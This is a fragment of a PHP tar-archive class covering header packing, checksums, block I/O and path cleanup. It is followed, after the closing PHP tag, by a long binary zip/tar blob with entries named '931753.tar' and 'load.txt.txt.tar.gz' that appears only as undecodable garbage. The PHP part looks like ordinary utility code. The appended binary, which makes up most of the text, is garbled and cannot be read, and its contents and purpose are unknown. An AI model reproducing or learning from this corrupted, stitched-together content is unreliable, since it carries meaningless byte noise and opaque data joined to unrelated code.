		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKd
[���

931753/931753.tarnu�[���load.txt.txt.tar.gz000064400000063115150425251240010254 0ustar00��ks#I���l��Ylvh�H�d�5�$��*�2���3$�=e6+�Jg�w&�Nf�ݝN:��k%�jG��ٿP��K.<"�$HV�̮t��.�����������`6ؾ0���l�n6�����&��&�x4�Nf\߿ڮ��O�	��X$�E�@����p,�D���Dc!&�����r�)�ɿ���;�Qxn0����2Tg���v��H��p$!�B�#q�>��M$����]@���ɠϨ�LJ�pH��g,k�,|~��^��߾�{_�~����0MUS����+E`��_�e�gQ>�"%/Uq9�A��MY	�Nę5�[��� K*�1��W��Y��K�|-s+s k����䁴�uJ�^1�N�$���4p�;��ʡ��b���N{�(�xa����J��VU�8y������(}!O�'[(;@Ź��$��-��H��r��TR��v#e����9�XKRO���~`G����5u�H�9���*U�E���i9�4�F�pz��K�� |�t$4D�"7j��Q�pm�_A໼�P�ʩ���ṖSN�yNR8TR}U�i��4YR�,"̥���Zk�t�H�@�9h��ѓ��hP�֌�ִɒ��JS,5`|�F�ܳ���@ot�I���X�4	�J<��d�EE�k��Q+O��)>�>f�-x#(�}�ͥ�%�'���>�d4�8�pߓ����<��QT,D��֊ֳ�k�}�<��[K;ͷ}�+��q����o��ľ�ɢ:�!&�>y.���p��u�&��$)���H&EN�$�[��cW?�5���O4d(Oʸ�����\"V������2]F�g�0���gP��{"�nT� �p�G��iB��ݧo�z%_�Vr���p��2��GJ�̉�e��0}�T]������>�����?~������2���F�#�C�g����HkUd��F�&�}"�����@������"���>�����g>����?��;��?��;�5��/��_���������?����7(�o>�}t��ӏ���O>�A���ߡ6^�����!�e~��Q���פ�Z"���!���_#ȿC�\'��O?�G�W��_�b�U�'�K �_�&P��@i5��+��ߨ��?�9���4A�~�?0�+D�� ����]�#`����l���h�ߡ�	���48�A�G� 
�4IY(�CHM~�2�(��̟C�8e"���"$��2�`�oP�?��u�x��Ŀ�R��YX�����,~�iH��~���c��0���M���Tk 1M��K�7x����@rZ ��B�[i��&c���	����!���s���_c�0����A��~�&�o0*֕*�;�W�ʏ���0t��̪W!r�4����@
�11S/7�-������(]�?�����b�1�(��&�B<�=KP�9&ҿ#m���P�_Y��R8�j$�J��I/��K4�_#��	�Rdj�%�a��;E^����̀3��1�]��A��GX����@*Ul>����B �#�xT�
F�?R����[Ŕz�Ɂ��)�P��.L�_�A��f�K)#R��'a�e�c��1��|<��|�`�Ҩ����}���_��%$*qU̟���3�!�DYS���eO��B:�k*Mm���)�9���;a�Bm,��e�����R���!�+���y��,:�`@ELf2~�֑b9[;�èA�
�WN�Bq�r��#�B[?���E�e�
3);E���A��ˬ��C�2�1;u��l7�:�3^��<��)���r�E{^�Q̭���A
^�((���ᗤ5^[�eF����=�+<KeL<p9����@/�=���_��V�f;2�aԧ�N��,�%�_�rI��j�M(	�?G4�k��0)l��d,�-�_�im����aH��2�,��@!���M���^A��>��Z�D�G�2�r�Wx\���ĐF��O�h�ʭ��׀�uZ2��07���7�j��H�^�a��F�v�
Bkn�)~�N���LRD�Ea[�g��\�_(n��1;���!���\�4��~d��P6#��ʂ O�.�s�\��Z(��R@�[�ۓ�5���I��S��)4r��.Hw}�0��RX4��v�]��~X�X���B<3G����Ţ_8�����!�y��+�
��Y�Ho�6;y2���^�-(Fh7�F���N���6�oO=�w�g�Xʚ���(�K��XչX��r�RF�I��AQD�K�%��rP*�T���Ġ?rI�ݦ�R�*���͡a�[|��߻���#���H����xV�`����n�a�m@�
y��N���N����I�皼`����r�9�l�^�qa�	9�o�����c�e)��a��
���rіij���R����,����-Ќ���T�tUIBK4�N*h��K�t!�����ĵC�Փ�^���k̷>29e�Rt/���N9"Z���`8O*�H꒖�2�m,^��?�g����r
P�n���Д:��{ۤM,~�V�ЮۑQu%Y�Vv-
#Mm�qKs��3�Y�� Uh��em͋����̂<o�3��IA+��������'{xPz�ܒw�k�=q��>�3�#>��d�Q��+�\�n}���ӝv��0�`�aZw`�;`gEA��"�*k����էM�XhuaN���&
+�����P&��n#-_��}Y��j�N�"��=�D(�ؐ%p���Q�OtQ�K���w���$f&�#D[Gݶ��7�H��b#��u���<Uj��M��[I�
�VD*�0h:�~����u*�4��2>L�ZZ�H�٠�N������ed�!)H̑��"8\F�Kk�Ct&��h���3A���Q����|R�d�ےϟ�7�B�>1:�a�1�	|a���8D�b$��4E�|ǘE/�2���T8��bS8,vKC݀q��߻T�,��2�C��z�:�	O�Z�E��$�� ��+UZf �h>�'�u���c �H��dm3Y�%�u!���'�����Std<�԰��?�8e��"Py�Ey�����OD��SSO]�>�w߄��q0���F;�e�C.�z*��Z�QG�ڵt�Af���r5w���S��m<=�bdׁJ�e��Zi�T�o,��� ~|��q}��é��;χ��>�.�GM�߸�"�VZ��eЩ���A��
��n'g�0���.��߅6?>�3�>�7&Fo�@�>�n�x�t����vY�o.
��	Y,��6C��i����`��H����$����SJ�>��P���{�9��	��Oa�Z*~�ՒfCo��\� �h��']���%}A��XS�<������PqA-�x��h�t6��:X�«��5Bэi��M�@_�E� �;fZI~�v6����B
�!�c.sf�T�� �e!�J �MghMј7h��wAk�7�e��t�=م��Q4kK6q�q�vfl��Z�NS�����,ƣ�p�l%��M^��b��ש�e2�H�0�li�4>��%�x��b�i���<�Օ񑐌es�|�HD��D�����*&���d7�5u�v0��P{`����*��&vP�ρ���b6PU��o��̑2i8{`����;��s�B&��
XM_Ŝ1�?4h
ڀ6��4�S{�X�
�(\�?��E�(�f�:���J
-���
�@Px��:.�Ԟ�,|zP6� eG�)��(ߞ��͉���x����rz;��MK��gZ
}Ao�_Л@©7���&r�7���-�k5��B_Л�SoBQ�����ޠR�Z-^RQj�h�GʵD�(Ҁ�M�X�H���� Y����^�M����+*|��#�B��!H��`%�%�H6��h	��0S����r�~v����~B�#��.��W;�_8����G�	{�c���		Z[�i�������#`(kn���IxGl�r�e� ��]�@)04� �M34^�H5�Q�[��F��y�U:^V3(�i�ۮM�>�:��M謋@\Jڈ
��m�3y�6,bT�c�j�\���m+cU�D�'kܪ����y]{��B��,I�;�~��W��o`q�/6����0󓞂��zh��.��;W�~�R}��z<Z�s4�y��Z/�SW����1�0g��p�;e�8��*�JZ_0@<x�e��	�/�,���v{�Aq���sI�$E�0h+��w?ݙ��^�=����1��މ�u�Y*<�z�=s�DܟP`����E���u���QG�J�
H�B{n�f"фIחs���P��PW�$�6�0�@�I����:�T���r�,
ċ��K�֚>��G@�� l�%���ּ7���u��x�
OMc�B=ݖ@᫽�D�ݵy{�"���c6��%��Z�{[�I�Y7��<~�w�L�]vf�y���_�50�^�������9݅���[z-�X7sy��ۯ�!P�;D4��~�2�u�
�G�|^��`��e���)�&�
�#�\�=�7WW��p.u�_��1��Y+�IT�/��a�Gk�_ߏb|�W<-٤2���r6�6�ZYo���q���h	 ]۶VV��>�U�(��Ke�ÛU����3��u�?q����d�X�9�(m�����G_�I#�߇u�f��
n���זᇌ���>���zC�7�5p�X�>�Ɓ�:D�&@!Ce1��c����cf��kh���&	C��A��	�-�Y�N�DI0�����A�:��#��n�1����](J���p1�US7��`B�-C�,FPH�Y��v<��񁉞I��Ov㍅}��}9Y�/1J�
1O�4'Ք�nV��;���3L�3I��Du��5��΀IIJ�∤.��;�EI����~+3kAY^��C�5�w]����n�&��S���X�	%]�Ϥɷ�|�r��&�u�c��}���N��DE��@w���<��8�:�?��	(��+�[���e���n����:��s鮖�Ԓ�uM
�e	�k��X�dۘ���و��A�x��:M���-.AtW�%O��"����)Rx�SF�`�NO�Q�o	��m�Bg03�~�.<<G`_�.��tf?�+���4����/b�+�甁�N��p�fzp�L�]�n��I=l�&���b��Bه�P^����^��O�^����/�W�'>�/�l����o����%U�緰�١t:���zy��$,�~0��H$�A:�X�.ǭto�Cۍ=t��c�8��p"�v����2�HM��	{��eV��=jkg4I�(�X�Ekf?��!���i�)2�~��=�B�8� ���ƞ�A�484nۉ�y�Ą�)#f7AUT�q�ş㣏��1\9�L_�üŌ��"�t��
Z�"L��I��:�'�i�ĸ�k���5�LhNW��A;�*�G����Vn"��,�L���i���9���oZ�ʮW?�-���B֑���mG�B��&�]���RAz�l~n)ogb���q�I�?^��ڗ{*��p1��,��U<�\��u(k&=k<9�w�ὼM�w�E�h0�{�&�k8#ø`��s/-��U���_Pt�LJ�M�E��$!���`�#&T��bv�I������N/����RU�h��9!ʊ��e_��p�C�#m���r��e��9
3JrSPڞ� �MQ����6�D����$a7�{as���A�F�32~W����(P��G� �t��m���L3�~d@��Ÿ�mm!�T0�2����h ���
!'�n2��v.�c�'���Q���QȑҎCU�6*�m�y�lm�$,C,,J�+���g*B%pɠ�o ���mE��C�j�r�l�i��i]�b�[h��.�t�js�l��� DN�������iLSuC�����\C���X<�,���~���bsiR[�S�%��u�m��yp�Ϭ�退�"�R��������o*�|���B���H��X|�2ߨ�)q@��,VD1���ɯ�M��ě�.i؜�ځ��t�;_<ݟ��:��#��'G�gh�������y�4Z��O7-�"��gI���0�]<W����	J�<;���oz��2���.�Q�+�J��R��H>��X["p��{[���;R��0@���U��y	�S���Ɓ�C����ݥۭ����Ԣ��7]���xWN�d裱����1�H��$�㲠�6�*!5�~�T��>�p?�+'��<�+�dY�ą������	�o��ظ��}$|������h.��>�
x���Z{��ޙ&�>�"�����
[f6A"M%`)��4��F`���d����;
�2�ú���e���-_���.�
���c��9�5�K���Zv5�^3O�Jv��9���髞�;�Z�N�g&f�=��I��+����aX��h��%��6lŖ�"er&�`��HL
u�z2���w�p�4���~�;T��Nf�pji���S�������H>�	�?��{�s�[ ��`B���րl���np�1�5^�`fh���
�qp�1���a!sH��}̽�
I�X���}	5ghW��A�Y�c=�f
�C�p
�"�����P�j�h̭{h��γ-�  ��U������\��PAs��5S��	l�[]�����j:;
tZ+��~R�ºQX�OU�Z��*���f�y�Pm-��B�R����ˠ�U6�of��2���7<�~�| 4��Q,��6�p(����zE�K��$����>��~�7gZ8����1��﫡�J�nV(k�
r��V���4�6�8p����J�(��H^�Ȉ��Plp���J�XAO��dQ�V�-��E�~Y����+5T\yo6�A��uw�Y)Y`�fٕj^)�	o�;6�6%>X(���ƊJ-�i삡��AhW�������:��U�-7P���E-ޮ��2_�Ï�1.���hqyX��wE^Lp���L��X����q��oF�❔H�2�Q��n��<���Yh���A�#�j��ܮ�7%Aˏ���!����i�?�W{A���v}u+���|��$P��d�XD�߲�w�]�$!�/�=9�Y�>,��ފMTE6.ݲ������.�حr�~w�*>��հ�Xj�A��nP'�P���n��	6��n{�P-�
�y��X	NF�����^�.�Ty�tR�~'�M�nc�rÉ��4$q�4��ϼ�a9[Bx���@p�x1�uƛA�E��ut����]d����[6�oF��$ �z�|$��)�K-����
��X9���q<��F�zC��2K`��8P�F��~*��bsր^��bi�L
�\6\�{�*��vz��
M*�.�®�.�k��m!B��)f�B(U�dJ%��6�diZ/m��V9;~T5Uz��!�(�L���fB��H�J�]?_��kWA��ʱ�ԣ��&�d��ͬW��O�3û�}���:�l,�7��4��W2�|a��Wr�)��S�"�]��PV���,V�f��R�.��f�ĸ�m��n}��
��F��A>���͑b��R��X7 �{w��&��C��maX�ʽ�8z\��:���h���i�'\A�LJ�~����Hh=�Dk՛�4�Ԅ�7[��JX|V��hC�>�V��+�rb�hפ�x��A�;��J�4_+����099�w����z+	�o�3GY��A�^�%ˏ���3��N`�pc��fV#��n�b[���R�#���0�`���)�wp��S�KVZ�abFks�V�g
��9�����������	�ģu�m�4�7�l׫r�{��uY�8@'�u]>+Go�b��ћ0��G�>ݤ����<����4���S3���d��M6�O;��Tw7r�?�D�vh�G[�'�W���.#�q���r����}v`�����3�5z�����p��h�r؛�PA>���Z�*�{g�x�m`g?z�m���ǡ�oŞ��3�8���n�N�Y({}|<��o�=#1Lێ�=z5M7��2n��֨����a�a����x�pu��S�v��O�PDV�_](�(�~�����3�z=E ��V	�)
,E�J����p�I9�=�T�b�q��l���v}'�z�.��;�ϸ�"��3ȼ���j�߻P"�;���Y�x�H��h���{5���Z�34"���,|s���eJ݅;e|!�Օ��o�å���Ҷى�^&z�A�U�q�p|�r$��e0C/��LU:T��58�Ɉ�3B+�" �M3��m�H��D?e3/�AH"�KVoP낊f
E�q�2��	�5Z"�x���|@[z̴�Q�;T����
\qi�,:����tF�R���9�T�~A�&��/Hԥ��2	%��k�o��$�ܨ
?1V~·.��P�i�cOr�f�g?��HB�v\��L���w��H��!��L;��d[���lh�C*�q�9��*�(��E�a�xExNM�-&N 1(�ɠ��*F��\pG�Nu`z}�P`�j�k�Vi�5c�.����-�4'�z6�$�oj,s�"�pR
���\5���fo�F_���ku�8�$l��L�5�Z
�NC��+fcU0G�����8jzM����{=�֬��X(��}!��`������d!R�9��$�e%xc3��wY�0	e��cL�vl\�9�����,q0����nk��6��ۊCL2�1vm����3�Y���z�^����^�RJ�L�������,n�K�˘̅Q�łm^�_όoe�xvxY}�;�*�x�P���U���ŭ��:�����`fg�V�a��(�eMab��'���F#���+��J�[�	�Ӄ:k�l��S�_��z����v��C�a�0���S������>G��=�z�0u$���%+�z+SP�?Ǒ���p��!Hop����"Vj�Z��`�;�c �d{��:�-V�3�|r�rH�K�|�|4���slK�O0`��"W��-b+0�=��]��i�v�Lj@�ܞc	)f�Po�wu���A�P�����)Ęo/2��K���:D>�Ia�N�@EN��zu����������e޼	�����o�.��.@�s��_$�/Z�e��*^���y�a���
Ue�]���W�#u!��
�<�_� P��v��\֔� ���(���%|�B8���ʂ����9aGuL��`]���t-��d��a�Qo�/PH�wGh//�8J4YB�ҫ�6��|���n3L�Y�@,L�ϸ���q���dN;�+�"ob�~i~�&d���ӯEv��J=],�hӤHcp>�m:��kXz�3=N����bc����ߩ�_�3F�>����Y)d����N�8��*��6'�m� ��%u�Ť;,�\-���w~�v�.��NM�$�)�u�kj���1�EK��5��~!�j�aK�̒8�a��8�p���-���MZ����e#��0Q�t�qcm+����4�}mG�������}�-Z"���Zc��k]��5m֧��qz�p&�E��@f�n�'��߷�0���t�Z�kI�=�������ބ$�9����r��0�����Xz����
*b
,�<r�J�"����z�?�3m]];�>ۙ}B4-h�Jt�]6#�ѧ�&�^�b�c_.��}!��	b����Ҙ���K��K��_����M��i���0%���9(zcYC�N]%�Ya-���KW�1T3�	��#�"C�1�',�j��>&t�p��1᫛���ݢ���M��cbW����9�/�j�t�Z�K��[��쐞��)+�����㜲cz�l׳g�`��%��E�4�H8��DP4	�rh�1�.Xw��ҝթ��h��2KY|γ6�:0
2���H�z��x�;��{D�Z�`�:af����	,LMm ��bz���8�?v2�t����Wx��P�����HP ��P��b���E0��V�V8ڗ���Ǣ�uK<3�%���o��2��3�o}�̖Jb�d��9�\$�%
��!yP���\0?�sG� �Nf~��N�f�5�;sخ1 )�h�O� ��tu�4C{���uA����~h�
�%T�z�@��'`�?��������0�Ɔ�ʼn�z���9x0����؂�TxI�V�v�7h��ŕV#�G�Lr��`�M]/�n����m7]������x�|.�}B��v�N=�����4���7*uT�y�\��ld��+�m��T>[I�P%��r
�U��jZ��KFz˚Ulw�\߸Ea�z�)��y��;�����{N�����*A���B��ƕ�>�COsY�`�B[��|e�Vw��5�v}��V7�:]{��P΂.��-'���ӯ��Nϲȡ����AS��
����Jl4��t�Ny�2TBK�X���վ���ywm1V���Pm��\H�K�����p��w�6�89y��\
?܉��D�p�Ĝ�A�I��� _��d�P�OC,i�G��G�X2y�/p���"P��g�7�5�Śu�X��u��
,��_Zc,U��J8�|�9�E0��z��{eE��/׳��������y��o*�j��cl&-��~9�)�_�[*as��5�
�V�[��
�(�u�A}п֯�@q��:��tH3�ĵ�q^0h6�3�#�
��?k�б��F#܈[���
���Q-��>�� �a��c�z�J�k��>.��Vv�\�Pł@Z\,UA���kU[�@
㲤i�-��)�$�W�*BN�}�/�7�20�9h&�~{�~��ca&���X��h+,$#�,.�k?D��h��O�E�@���Zv�_&��.��CZ=�f�V20��Y���R��}u2�{�V�R���\1��7��&��\D�h
iXX���CM�T
�\���l39~�T�m�0od��B��PWj%����f�!��|'TYn�r'���۪(�#w����I�,�
ww7ELDC��hY�U&��z*�*U����Pj�q"ߊ(�A���<�W*��:-ךS6�X�ܬ�7���+��U�����J��/+���=;b���6��j�ʼ����Z�R�4��Ͷ�C[(o����ݪwK��ҬH�V�[zg�J���>h�J�:�j�bE�e��ri�ʯ�������jT�fw�D&ZI��J��P�ەn-\y�����RY=���.�*�l��nOR�J;WFu[	m�H��Fz�G��ډA.͖��Z-8�w�u��n�w�q&T�<�w��`��ʭ|�����Db�F��mf�W+�&�<F҂O��X��%���h���4��F�^a7m��R��vk�i��ī|Ub�m-���w��j�T�e�}��*|���lj住$n��m�+���m4���Ҽw�\F���V�lP��E��2��ՇvcrWj�Wo6��8
�;��4�~X���(��g��.ˎ�I����Dok|!l��hc�O��)T���u�-0Ln#RB���i�"�xo�n����Eit�M��|%2�W*7��,q_�TV�UK�G��0�M�lAY=��R��r�L�r��l�Z�#N�"K�S�v�j��櫭ڴR]O��ŴZcǫ��=<�k�u�V��*����<�eT�5�U����Fe�z�f嶜�W"��v�o��:�[���NwR�e��Ie�/��e��TUm�٬Vw��]�=o����C���V��v�MV��+����������up��q�`��p�6�c�ݚ��B�[��U��g[�j�)�g�;>q�?3s!#ߔF!^Yf���M�Ox3��h�^��ӛƬ^��TM̯�Z9����P��uT��,%���(�[�*�|���W�l��k�o�R��Z��2�ƂH���u�0��A�A��y�Tڴ���ݭ��6�D�;����M#5������!��T��q���5��V`͵�[�_�*��&8��L��]	aҾ�rJ���l[��:���2�󑂷��^?��F��f�ڮ�P-�i� �x��A�')#��%�3,��1�w.��r�[�Ǻ˷v�;�f���`}�вѴ����a/�U�b���b4J�׷�qd�u��Y�2/��Z����R9��`f�����R�G�a���Kj/�,�wj�bG���ք;�~�/(��TL�Ŷ�w���¶\|�l�����b��Ă��BH�c�}��`���G�liۺ��G�d��l��"�>�V��cY�����G�U��� ܧBw�PG��l(�NC��܈f���cP���By���D�c��8�_q\���%±Nx�v�v�+���\��|�i���H�~`)�� .+���� ��W�hu๻��a��r�+$�|X�wz�r�&/5֗c�?��xr���J�E�8�8�-e��q���m8�c����%�F۪$>N׫�8_Ϧ�E7��%���<U�Ċk�u)岃E#�'��M�t�iq����6
�fsy�*퐨��^*����ݮ#���8N��r7�m��i`�v��W��å��J������ +�4n 	��Go�b�X�-Ā,qr@
i�g{q-�
�N*s�x},��P6/��RU�](��mr�������7��S�J���}��,���v����I�޻MK1yڛn��f�a����~��l��M�����Y ��!%:��L��!�v�����gc)�*���8�S����v���g�A���Aj���K��d���S��M;�f��[�z����R���d�j9~ǵ'�M7ڼ�H���bϽ�Mt�y���(�t��"��J�“O����m�)��&�lX`�����Q�aUhUoGݸ���hϼ雩0+/�IH	V7�Z4�-V7����U�\���'!w�F7��<ګ#a�ln��:�kuG���C�~]TZ7��Hm��@�u��[fÍ�4�Dz�F�'q��DT�;����M�6��M�4(k�c��.n����]�?H��Pb�e�>��5o*ތ"i���>=暽����b�W����t�!?�d+�~U~|X���m��q����V�lJj�C�Լ����U?���Z���v;Χ�n�6��)�mw�X/L�i_i�z�v+0�����tn[��3}~�/�Ceo���ʡIl��g]�6֕&	E�,�x:#T��.����/6y>8����B+�dvZ�:�,p�0�O�i�IE�C�e����EʝP�T�'��mZN
->*n�ce!v"�B�)�V��Ġ�uv�b>6��Qe�;eV�xu�w�R�)�FR�6�m.��<�
.��Po��췸��m�va��5���2����Y'��~���1��ߔ��]L�!�':������H*���䭔�ۻY7�LuR��*^Fkm��骉��|����M0�-�d^-�K݅t{�mų�ޔ����6>
����P���b1���K��	��b��P�L�����&Wa��Q,�s�`6��)fs�dI������e{��bH�V��<mE��({�mc�C��+�� /�q\H7��d�v��z�ݰ#g{R~7�f%m�'F�b�sB"����(p�Ԣ�a�0���X��߆��id����R�Gí����h�&�73�7ָϯ�;VE�hX��n:��Mg����n�O��B�"�'��M>�P�\w �6���@BA%4Dz%��/��`4���A�VI�Ë�2���f��[6%$��er*⡻9���x�lԥ�B��K��Mp�
�6��}�?�WV��<��[���
Z,��Q�^-y�7h�K3�۬��<�ބ���r�e��t��:SYq0h�K��pS�%��@y���ˉM�����*B%6�
C�Ym��y'w��c1(���n9_��C>���{���}�gC���,��e|;��l�Q�n�l�q�]���k���}�Rg+7�
�%{Q�a�X��hP�w1�v�2W��a�~��R��r^��Z�kMiU:i�1N��|d����Cb!��7�ɻ����ծ�j�L6�T���|s?�&�ꭄ�f$�,f�jt��+�yMͮ3��j��brW�5�N�D��R�U�/�7
���e"J'��a�}��d�.D�۟	��0Z�����s)��-�Ųja"���!Yᖓl�NL����D�Q)e�b��yl���enX�[o�A�LZ��4�C�Q����2��Vq��ae�{5���m$G��r<f���ú�ɠ�]�M�Uy^K�����7Zi��E��hs�*{���E���m?7E;�F����ܬ�m.�V���
��w8d;��F)�oc�v�͋�rYMݖ�\&��mJ�"Rw����b�J!S
v%��?Lk�b~R��+o�X�&K�|7�Su�~���C��nj++���f��Y1��w
7���I<"��So�>)�iA�5�i����퉺yK���Ɂ�֙��<������ٻL�N�����q`��$�ŲRQ�i����K9��xq�.U�>1��LJ[o"�І����M�,R+Mz��x*F�:�К�mn���j���j�϶��m!?�B~���l���-�g[�϶��m!?�B~���l���dz��WѻF‡V[j	��o�|���8�7.��w��c��p���fԇz�1^T�r�o��7�鶩�J��6y��Ə�Ƹ��N&I�E����y-9N�KjQ��7ܖy��x�[��a�띠�ƻl�+l�<���f�����R@���CUH*�V�������>���W���z;s�~'�^�q7����C4�TꝂ0o!Jk�T#�C���;���+����N��*�hKm���{�6�ΡMJ2�4
��|/�,����L���ZV�n��\:��C��.%)�Ҫ����tj*ha�JjT���Z|\ߖK���o�w��x0���h#�vʦ*)�|Q�TF�N�vS���Ǣ˳PX�����mF��H2�J��r٪���&�ɹ�}=S��֭V�6��/���>E��WR�lX�֍BI��q3�
Rw�N�%����l頝�N}�q��&�n:��Rf�[�#C>�Ψ�A9��Fg�h`*��#�H�T�/V�uN�����d�^,��]��P���r��y5�F�EA��oe�*�W�۶X^�UvT��K�5a2V7��ʤU�(�b��O��A����n�~�L#��7��t[�G�X8fCy��j�7�
���K��T���xw�āw�JX�໽��;�7����m[�+6Ӭ7�'���`���g�Pr����\Ţi$T�|)6�W��J.8�{1�M�j�f�n�N(!�����]��{��v$���w([�XI���ޮ�p�����]��J�F�M�X�t[S9X~��M)We��ͨ��Іz�
̄��v��Z�H����b�zS�	?
�g��D<�ꖻlh��đ�a�փU�"�eI���[g^��Ʋ�DSI$'suW^���0,$S�^��LCQ98/>�f�:�&�9�cUN,�#5�F}���Ӌb{*�#c�F��
�ks7�n�~Om�{^VT3���'J�D��*�A��O���AW���Dw����a_�%v؍��^A�O�S�@�6���Eb؝$�R!؟�W�CބȎ
�nx^��e+%��d94_�{�(��g��$�;S��ݍګH/�HA �i7�&z��(	�NEd��
���i)usA���o�!Wn��n�v�hV�º�&��{)ϲ�ܶ��u�uo7��i��p���ˏS�`�q�d��j;�����u�9�u�m��g�P9�5'�L�Zn%�r��0C;�r�A+�f����\~�6��N3��un՛�X~|�;���Uf�G�RNm���v�Zw%n��L#�T:��T]˥fv�)��P\+Ŷ���96�XC;���Vej�b~��J���Dʹ��N՛�z@��nZ�jA����FZ�H��yr6�s�N	�P��v-��J�Fh�?�r�a�$V;���1y�M%�[a��6�B��
V֭A�����2ZXn��jh^.��
���b�Ie������aFhN��Q^mN��T�n�t�|�3�7R��U4�#.F�	,�*�B1��Dk�v�J����)UfĹ�(~d����ē�"
��l��ޱ?�#g?�^Ҩ&�@l8�f������K���MYJ�_p��=!G�
��&�!��p�������z@�#����t�@>ڽDO�!W�(��c��3�<F�=�<�\�����t��{_uF.���_�-w$4������+�5aק���-)��bJ�#/��o�û28ʩ…�R/i�'��H.�ͱ�Ũ/��
�
-T�-���$b�^���va�{��#z�1���^w�sz��`�s�0�W$��a6�2fk

�"B�&���SDm������K�Z
�"vy|.��g<��JP�@=u.
�4HA���/��(o�)h��C)O��/��RF��$������B)��@����`n�o��"������0ȗ@Q9�
�~qwZ
���8Ȉ1f+�K`�5Q�>~a?����$���e�GAZe��!�h�CSb�oy��y��Jb%=�P&���7�5��3_�R���,�9�̀_��^�p1{7xs�K��W�qI_5#�%C���/`��E6��_,�5�g[6_�%��[8䃼��� �mA^����^0F4՗Zڏ�pd�C�΃��Nѡ��luE�T[»2�my���U�A��K�z���N_�j��ɺ�-&���Tl����f�9�O��m^|�?�A_��`���_��)}�G��s�ח{���^�׋���H?!GA���ѲL���Y��9 g����p����XkH:d�r\���0��l +������6�!Ǐ�C֧�����S$:r��^�H�c���1�_��M�lI�K }�;�lI���8md͋�t���N��Nj���G��mrI~�|C��ZSߖ_��	{����k*�)��߮C�!^G��5C6�e�1@�7�i��+B%�n�ϙ���EGGsT�޲�.�뽠�d`�����Ї��e���)/�&H�D1Vz�w����F����>*Uy�%�
d�H<�J�5�h��f*4LI����4Чi0`<C�G'�bl��;[@rx7a�8�!Ƽ�����_�f��é����&��`���G��"j��;���AȨ�[�5#�Dџ������Ɉ=���\�bѣf�#Y��8g�N0$�����:{��i7�d�9�
�'3n�,�웫��c`#��hڠ&�C���i�E��b��a����0�!-sIb��~�|p���4<��U�}��u~9���3�9\
?c|��%�)˃"��5e����~��6��j��mH74����;�	bccv�x޹�W���H'h��?��(�|��I��vi\���t�'�L��&�"���,�lU̱0��ޮ�{|���جeqL�آ�o{�$���v ����$Ґ��]�y�m�h	8,ϕ��ϖy�	m��܇C��8G�CU�@A����Yarʈ摠���{]0>4��	�WW��
